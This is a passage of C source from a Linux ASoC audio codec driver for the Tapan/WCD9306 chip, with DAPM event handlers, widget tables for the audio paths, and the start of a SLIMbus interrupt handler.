static int tapan_codec_enable_anc_ear(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
int ret = 0;
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
ret = tapan_codec_enable_anc(w, kcontrol, event);
msleep(50);
snd_soc_update_bits(codec, TAPAN_A_RX_EAR_EN, 0x10, 0x10);
break;
case SND_SOC_DAPM_POST_PMU:
ret = tapan_codec_enable_ear_pa(w, kcontrol, event);
break;
case SND_SOC_DAPM_PRE_PMD:
snd_soc_update_bits(codec, TAPAN_A_RX_EAR_EN, 0x10, 0x00);
msleep(40);
ret |= tapan_codec_enable_anc(w, kcontrol, event);
break;
case SND_SOC_DAPM_POST_PMD:
ret = tapan_codec_enable_ear_pa(w, kcontrol, event);
break;
}
return ret;
}
static int tapan_codec_chargepump_vdd_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *priv = snd_soc_codec_get_drvdata(codec);
int ret = 0, i;
pr_info("%s: event = %d\n", __func__, event);
if (!priv->cp_regulators[CP_REG_BUCK]
&& !priv->cp_regulators[CP_REG_BHELPER]) {
pr_err("%s: No power supply defined for ChargePump\n",
__func__);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
for (i = 0; i < CP_REG_MAX ; i++) {
if (!priv->cp_regulators[i])
continue;
ret = regulator_enable(priv->cp_regulators[i]);
if (ret) {
pr_err("%s: CP Regulator enable failed, index = %d\n",
__func__, i);
continue;
} else {
pr_debug("%s: Enabled CP regulator, index %d\n",
__func__, i);
}
}
break;
case SND_SOC_DAPM_POST_PMD:
for (i = 0; i < CP_REG_MAX; i++) {
if (!priv->cp_regulators[i])
continue;
ret = regulator_disable(priv->cp_regulators[i]);
if (ret) {
pr_err("%s: CP Regulator disable failed, index = %d\n",
__func__, i);
return ret;
} else {
pr_debug("%s: Disabled CP regulator %d\n",
__func__, i);
}
}
break;
}
return 0;
}
static int tapan_codec_set_iir_gain(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
int value = 0;
switch (event) {
case SND_SOC_DAPM_POST_PMU:
value = snd_soc_read(codec, TAPAN_A_CDC_IIR1_GAIN_B1_CTL);
snd_soc_write(codec, TAPAN_A_CDC_IIR1_GAIN_B1_CTL, value);
break;
default:
pr_err("%s: event = %d not expected\n", __func__, event);
}
return 0;
}
static const struct snd_soc_dapm_widget tapan_9306_dapm_widgets[] = {
/* RX4 MIX1 mux inputs */
SND_SOC_DAPM_MUX("RX4 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx4_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX4 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx4_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX4 MIX1 INP3", SND_SOC_NOPM, 0, 0,
&rx4_mix1_inp3_mux),
/* RX4 MIX2 mux inputs */
SND_SOC_DAPM_MUX("RX4 MIX2 INP1", SND_SOC_NOPM, 0, 0,
&rx4_mix2_inp1_mux),
SND_SOC_DAPM_MUX("RX4 MIX2 INP2", SND_SOC_NOPM, 0, 0,
&rx4_mix2_inp2_mux),
SND_SOC_DAPM_MIXER("RX4 MIX1", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER_E("RX4 MIX2", TAPAN_A_CDC_CLK_RX_B1_CTL, 3, 0, NULL,
0, tapan_codec_enable_interpolator, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MUX_E("DEC3 MUX", TAPAN_A_CDC_CLK_TX_CLK_EN_B1_CTL, 2, 0,
&dec3_mux, tapan_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("DEC4 MUX", TAPAN_A_CDC_CLK_TX_CLK_EN_B1_CTL, 3, 0,
&dec4_mux, tapan_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SUPPLY("COMP0_CLK", SND_SOC_NOPM, 0, 0,
tapan_config_compander, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_PRE_PMD),
SND_SOC_DAPM_SUPPLY("COMP1_CLK", SND_SOC_NOPM, 1, 0,
tapan_config_compander, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_PRE_PMD),
SND_SOC_DAPM_SUPPLY("COMP2_CLK", SND_SOC_NOPM, 2, 0,
tapan_config_compander, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_PRE_PMD),
SND_SOC_DAPM_INPUT("AMIC5"),
SND_SOC_DAPM_ADC_E("ADC5", NULL, TAPAN_A_TX_5_EN, 7, 0,
tapan_codec_enable_adc, SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MUX("ANC1 MUX", SND_SOC_NOPM, 0, 0, &anc1_mux),
SND_SOC_DAPM_MUX("ANC2 MUX", SND_SOC_NOPM, 0, 0, &anc2_mux),
SND_SOC_DAPM_OUTPUT("ANC HEADPHONE"),
SND_SOC_DAPM_PGA_E("ANC HPHL", SND_SOC_NOPM, 5, 0, NULL, 0,
tapan_codec_enable_anc_hph,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_PRE_PMD |
SND_SOC_DAPM_POST_PMD | SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_PGA_E("ANC HPHR", SND_SOC_NOPM, 4, 0, NULL, 0,
tapan_codec_enable_anc_hph, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD |
SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_OUTPUT("ANC EAR"),
SND_SOC_DAPM_PGA_E("ANC EAR PA", SND_SOC_NOPM, 0, 0, NULL, 0,
tapan_codec_enable_anc_ear,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_PRE_PMD |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX("ANC1 FB MUX", SND_SOC_NOPM, 0, 0, &anc1_fb_mux),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS3 External", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS3 Internal1", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS3 Internal2", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("DMIC3", NULL, SND_SOC_NOPM, 0, 0,
tapan_codec_enable_dmic, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("DMIC4", NULL, SND_SOC_NOPM, 0, 0,
tapan_codec_enable_dmic, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
};
/* Todo: Have seperate dapm widgets for I2S and Slimbus.
* Might Need to have callbacks registered only for slimbus
*/
static const struct snd_soc_dapm_widget tapan_common_dapm_widgets[] = {
SND_SOC_DAPM_AIF_IN_E("AIF1 PB", "AIF1 Playback", 0, SND_SOC_NOPM,
AIF1_PB, 0, tapan_codec_enable_slimrx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_IN_E("AIF2 PB", "AIF2 Playback", 0, SND_SOC_NOPM,
AIF2_PB, 0, tapan_codec_enable_slimrx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_IN_E("AIF3 PB", "AIF3 Playback", 0, SND_SOC_NOPM,
AIF3_PB, 0, tapan_codec_enable_slimrx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX("SLIM RX1 MUX", SND_SOC_NOPM, TAPAN_RX1, 0,
&slim_rx_mux[TAPAN_RX1]),
SND_SOC_DAPM_MUX("SLIM RX2 MUX", SND_SOC_NOPM, TAPAN_RX2, 0,
&slim_rx_mux[TAPAN_RX2]),
SND_SOC_DAPM_MUX("SLIM RX3 MUX", SND_SOC_NOPM, TAPAN_RX3, 0,
&slim_rx_mux[TAPAN_RX3]),
SND_SOC_DAPM_MUX("SLIM RX4 MUX", SND_SOC_NOPM, TAPAN_RX4, 0,
&slim_rx_mux[TAPAN_RX4]),
SND_SOC_DAPM_MUX("SLIM RX5 MUX", SND_SOC_NOPM, TAPAN_RX5, 0,
&slim_rx_mux[TAPAN_RX5]),
SND_SOC_DAPM_MIXER("SLIM RX1", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX2", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX3", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX4", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("SLIM RX5", SND_SOC_NOPM, 0, 0, NULL, 0),
/* RX1 MIX1 mux inputs */
SND_SOC_DAPM_MUX("RX1 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX1 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX1 MIX1 INP3", SND_SOC_NOPM, 0, 0,
&rx_mix1_inp3_mux),
/* RX2 MIX1 mux inputs */
SND_SOC_DAPM_MUX("RX2 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx2_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX2 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx2_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX2 MIX1 INP3", SND_SOC_NOPM, 0, 0,
&rx2_mix1_inp2_mux),
/* RX3 MIX1 mux inputs */
SND_SOC_DAPM_MUX("RX3 MIX1 INP1", SND_SOC_NOPM, 0, 0,
&rx3_mix1_inp1_mux),
SND_SOC_DAPM_MUX("RX3 MIX1 INP2", SND_SOC_NOPM, 0, 0,
&rx3_mix1_inp2_mux),
SND_SOC_DAPM_MUX("RX3 MIX1 INP3", SND_SOC_NOPM, 0, 0,
&rx3_mix1_inp3_mux),
/* RX1 MIX2 mux inputs */
SND_SOC_DAPM_MUX("RX1 MIX2 INP1", SND_SOC_NOPM, 0, 0,
&rx1_mix2_inp1_mux),
SND_SOC_DAPM_MUX("RX1 MIX2 INP2", SND_SOC_NOPM, 0, 0,
&rx1_mix2_inp2_mux),
/* RX2 MIX2 mux inputs */
SND_SOC_DAPM_MUX("RX2 MIX2 INP1", SND_SOC_NOPM, 0, 0,
&rx2_mix2_inp1_mux),
SND_SOC_DAPM_MUX("RX2 MIX2 INP2", SND_SOC_NOPM, 0, 0,
&rx2_mix2_inp2_mux),
SND_SOC_DAPM_MIXER("RX1 MIX1", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("RX2 MIX1", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("RX1 MIX2", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER("RX2 MIX2", SND_SOC_NOPM, 0, 0, NULL, 0),
SND_SOC_DAPM_MIXER_E("RX3 MIX1", TAPAN_A_CDC_CLK_RX_B1_CTL, 2, 0, NULL,
0, tapan_codec_enable_interpolator, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_VIRT_MUX_E("RX1 INTERPOLATOR",
TAPAN_A_CDC_CLK_RX_B1_CTL, 0, 0,
&rx1_interpolator, tapan_codec_enable_interpolator,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_VIRT_MUX_E("RX2 INTERPOLATOR",
TAPAN_A_CDC_CLK_RX_B1_CTL, 1, 0,
&rx2_interpolator, tapan_codec_enable_interpolator,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MIXER("RX1 CHAIN", TAPAN_A_CDC_RX1_B6_CTL, 5, 0,
NULL, 0),
SND_SOC_DAPM_MIXER_E("RX2 CHAIN", SND_SOC_NOPM, 0, 0, NULL,
0, tapan_codec_rx_dem_select, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("CLASS_H_DSM MUX", SND_SOC_NOPM, 0, 0,
&class_h_dsm_mux, tapan_codec_dsm_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
/* RX Bias */
SND_SOC_DAPM_SUPPLY("RX_BIAS", SND_SOC_NOPM, 0, 0,
tapan_codec_enable_rx_bias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
/* CDC_CP_VDD */
SND_SOC_DAPM_SUPPLY("CDC_CP_VDD", SND_SOC_NOPM, 0, 0,
tapan_codec_chargepump_vdd_event, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
/*EAR */
SND_SOC_DAPM_PGA_E("EAR PA", TAPAN_A_RX_EAR_EN, 4, 0, NULL, 0,
tapan_codec_enable_ear_pa, SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MIXER_E("DAC1", TAPAN_A_RX_EAR_EN, 6, 0, dac1_switch,
ARRAY_SIZE(dac1_switch), tapan_codec_ear_dac_event,
SND_SOC_DAPM_PRE_PMU),
/* Headphone Left */
SND_SOC_DAPM_PGA_E("HPHL", TAPAN_A_RX_HPH_CNP_EN, 5, 0, NULL, 0,
tapan_hph_pa_event, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MIXER_E("HPHL DAC", TAPAN_A_RX_HPH_L_DAC_CTL, 7, 0,
hphl_switch, ARRAY_SIZE(hphl_switch), tapan_hphl_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
/* Headphone Right */
SND_SOC_DAPM_PGA_E("HPHR", TAPAN_A_RX_HPH_CNP_EN, 4, 0, NULL, 0,
tapan_hph_pa_event, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_DAC_E("HPHR DAC", NULL, TAPAN_A_RX_HPH_R_DAC_CTL, 7, 0,
tapan_hphr_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
/* LINEOUT1*/
SND_SOC_DAPM_DAC_E("LINEOUT1 DAC", NULL, TAPAN_A_RX_LINE_1_DAC_CTL, 7, 0
, tapan_lineout_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA_E("LINEOUT1 PA", TAPAN_A_RX_LINE_CNP_EN, 0, 0, NULL,
0, tapan_codec_enable_lineout, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
/* LINEOUT2*/
SND_SOC_DAPM_MUX("RDAC5 MUX", SND_SOC_NOPM, 0, 0,
&rx_dac5_mux),
/* LINEOUT1*/
SND_SOC_DAPM_MUX("RDAC4 MUX", SND_SOC_NOPM, 0, 0,
&rx_dac4_mux),
SND_SOC_DAPM_MUX("RDAC3 MUX", SND_SOC_NOPM, 0, 0,
&rx_dac3_mux),
SND_SOC_DAPM_DAC_E("LINEOUT2 DAC", NULL, TAPAN_A_RX_LINE_2_DAC_CTL, 7, 0
, tapan_lineout_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA_E("LINEOUT2 PA", TAPAN_A_RX_LINE_CNP_EN, 1, 0, NULL,
0, tapan_codec_enable_lineout, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
/* CLASS-D SPK */
SND_SOC_DAPM_MIXER_E("SPK DAC", SND_SOC_NOPM, 0, 0,
spk_dac_switch, ARRAY_SIZE(spk_dac_switch), tapan_spk_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA_E("SPK PA", SND_SOC_NOPM, 0, 0 , NULL,
0, tapan_codec_enable_spk_pa,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SUPPLY("VDD_SPKDRV", SND_SOC_NOPM, 0, 0,
tapan_codec_enable_vdd_spkr,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_OUTPUT("EAR"),
SND_SOC_DAPM_OUTPUT("HEADPHONE"),
SND_SOC_DAPM_OUTPUT("LINEOUT1"),
SND_SOC_DAPM_OUTPUT("LINEOUT2"),
SND_SOC_DAPM_OUTPUT("SPK_OUT"),
/* TX Path*/
SND_SOC_DAPM_MIXER("AIF1_CAP Mixer", SND_SOC_NOPM, AIF1_CAP, 0,
aif_cap_mixer, ARRAY_SIZE(aif_cap_mixer)),
SND_SOC_DAPM_MIXER("AIF2_CAP Mixer", SND_SOC_NOPM, AIF2_CAP, 0,
aif_cap_mixer, ARRAY_SIZE(aif_cap_mixer)),
SND_SOC_DAPM_MIXER("AIF3_CAP Mixer", SND_SOC_NOPM, AIF3_CAP, 0,
aif_cap_mixer, ARRAY_SIZE(aif_cap_mixer)),
SND_SOC_DAPM_MUX("SLIM TX1 MUX", SND_SOC_NOPM, TAPAN_TX1, 0,
&sb_tx1_mux),
SND_SOC_DAPM_MUX("SLIM TX2 MUX", SND_SOC_NOPM, TAPAN_TX2, 0,
&sb_tx2_mux),
SND_SOC_DAPM_MUX("SLIM TX3 MUX", SND_SOC_NOPM, TAPAN_TX3, 0,
&sb_tx3_mux),
SND_SOC_DAPM_MUX("SLIM TX4 MUX", SND_SOC_NOPM, TAPAN_TX4, 0,
&sb_tx4_mux),
SND_SOC_DAPM_MUX("SLIM TX5 MUX", SND_SOC_NOPM, TAPAN_TX5, 0,
&sb_tx5_mux),
SND_SOC_DAPM_SUPPLY("CDC_CONN", WCD9XXX_A_CDC_CLK_OTHR_CTL, 2, 0, NULL,
0),
/* Decimator MUX */
SND_SOC_DAPM_MUX_E("DEC1 MUX", TAPAN_A_CDC_CLK_TX_CLK_EN_B1_CTL, 0, 0,
&dec1_mux, tapan_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("DEC2 MUX", TAPAN_A_CDC_CLK_TX_CLK_EN_B1_CTL, 1, 0,
&dec2_mux, tapan_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SUPPLY("LDO_H", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_ldo_h,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
/*
* DAPM 'LDO_H Standalone' is to be powered by mbhc driver after
* acquring codec_resource lock.
* So call __tapan_codec_enable_ldo_h instead and avoid deadlock.
*/
SND_SOC_DAPM_SUPPLY("LDO_H Standalone", SND_SOC_NOPM, 7, 0,
__tapan_codec_enable_ldo_h,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_INPUT("AMIC1"),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS1 External", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS1 Internal1", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS1 Internal2", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("ADC1", NULL, TAPAN_A_TX_1_EN, 7, 0,
tapan_codec_enable_adc, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("ADC2", NULL, TAPAN_A_TX_2_EN, 7, 0,
tapan_codec_enable_adc, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_INPUT("AMIC3"),
SND_SOC_DAPM_ADC_E("ADC3", NULL, TAPAN_A_TX_3_EN, 7, 0,
tapan_codec_enable_adc, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_INPUT("AMIC4"),
SND_SOC_DAPM_ADC_E("ADC4", NULL, TAPAN_A_TX_4_EN, 7, 0,
tapan_codec_enable_adc, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_INPUT("AMIC2"),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS2 External", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS2 Internal1", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS2 Internal2", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS2 Internal3", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E(DAPM_MICBIAS2_EXTERNAL_STANDALONE, SND_SOC_NOPM,
7, 0, tapan_codec_enable_micbias,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_OUT_E("AIF1 CAP", "AIF1 Capture", 0, SND_SOC_NOPM,
AIF1_CAP, 0, tapan_codec_enable_slimtx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_OUT_E("AIF2 CAP", "AIF2 Capture", 0, SND_SOC_NOPM,
AIF2_CAP, 0, tapan_codec_enable_slimtx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_OUT_E("AIF3 CAP", "AIF3 Capture", 0, SND_SOC_NOPM,
AIF3_CAP, 0, tapan_codec_enable_slimtx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
/* Digital Mic Inputs */
SND_SOC_DAPM_ADC_E("DMIC1", NULL, SND_SOC_NOPM, 0, 0,
tapan_codec_enable_dmic, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("DMIC2", NULL, SND_SOC_NOPM, 0, 0,
tapan_codec_enable_dmic, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
/* Sidetone */
SND_SOC_DAPM_MUX_E("IIR1 INP1 MUX", TAPAN_A_CDC_IIR1_GAIN_B1_CTL, 0, 0,
&iir1_inp1_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA_E("IIR1", TAPAN_A_CDC_CLK_SD_CTL, 0, 0, NULL, 0,
tapan_codec_set_iir_gain, SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MUX_E("IIR1 INP2 MUX", TAPAN_A_CDC_IIR1_GAIN_B2_CTL, 0, 0,
&iir1_inp2_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("IIR1 INP3 MUX", TAPAN_A_CDC_IIR1_GAIN_B3_CTL, 0, 0,
&iir1_inp3_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("IIR1 INP4 MUX", TAPAN_A_CDC_IIR1_GAIN_B4_CTL, 0, 0,
&iir1_inp4_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("IIR2 INP1 MUX", TAPAN_A_CDC_IIR2_GAIN_B1_CTL, 0, 0,
&iir2_inp1_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("IIR2 INP2 MUX", TAPAN_A_CDC_IIR2_GAIN_B2_CTL, 0, 0,
&iir2_inp2_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("IIR2 INP3 MUX", TAPAN_A_CDC_IIR2_GAIN_B3_CTL, 0, 0,
&iir2_inp3_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("IIR2 INP4 MUX", TAPAN_A_CDC_IIR2_GAIN_B4_CTL, 0, 0,
&iir2_inp4_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA("IIR2", TAPAN_A_CDC_CLK_SD_CTL, 1, 0, NULL, 0),
/* AUX PGA */
SND_SOC_DAPM_ADC_E("AUX_PGA_Left", NULL, TAPAN_A_RX_AUX_SW_CTL, 7, 0,
tapan_codec_enable_aux_pga, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("AUX_PGA_Right", NULL, TAPAN_A_RX_AUX_SW_CTL, 6, 0,
tapan_codec_enable_aux_pga, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
/* Lineout, ear and HPH PA Mixers */
SND_SOC_DAPM_MIXER("EAR_PA_MIXER", SND_SOC_NOPM, 0, 0,
ear_pa_mix, ARRAY_SIZE(ear_pa_mix)),
SND_SOC_DAPM_MIXER("HPHL_PA_MIXER", SND_SOC_NOPM, 0, 0,
hphl_pa_mix, ARRAY_SIZE(hphl_pa_mix)),
SND_SOC_DAPM_MIXER("HPHR_PA_MIXER", SND_SOC_NOPM, 0, 0,
hphr_pa_mix, ARRAY_SIZE(hphr_pa_mix)),
SND_SOC_DAPM_MIXER("LINEOUT1_PA_MIXER", SND_SOC_NOPM, 0, 0,
lineout1_pa_mix, ARRAY_SIZE(lineout1_pa_mix)),
SND_SOC_DAPM_MIXER("LINEOUT2_PA_MIXER", SND_SOC_NOPM, 0, 0,
lineout2_pa_mix, ARRAY_SIZE(lineout2_pa_mix)),
};
static irqreturn_t tapan_slimbus_irq(int irq, void *data)
{
struct tapan_priv *priv = data;
struct snd_soc_codec *codec = priv->codec;
unsigned long status = 0;
int i, j, port_id, k;
u32 bit;
u8 val;
bool tx, cleared;
for (i = TAPAN_SLIM_PGD_PORT_INT_STATUS_RX_0, j = 0;
i <= TAPAN_SLIM_PGD_PORT_INT_STATUS_TX_1; i++, j++) {
val = wcd9xxx_interface_reg_read(codec->control_data, i);
status |= ((u32)val << (8 * j));
}
for_each_set_bit(j, &status, 32) {
tx = (j >= 16 ? true : false);
port_id = (tx ? j - 16 : j);
val = wcd9xxx_interface_reg_read(codec->control_data,
TAPAN_SLIM_PGD_PORT_INT_RX_SOURCE0 + j);
if (val & TAPAN_SLIM_IRQ_OVERFLOW)
pr_err_ratelimited(
"%s: overflow error on %s port %d, value %x\n",
__func__, (tx ? "TX" : "RX"), port_id, val);
if (val & TAPAN_SLIM_IRQ_UNDERFLOW)
pr_err_ratelimited(
"%s: underflow error on %s port %d, value %x\n",
__func__, (tx ? "TX" : "RX"), port_id, val);
if (val & TAPAN_SLIM_IRQ_PORT_CLOSED) {
/*
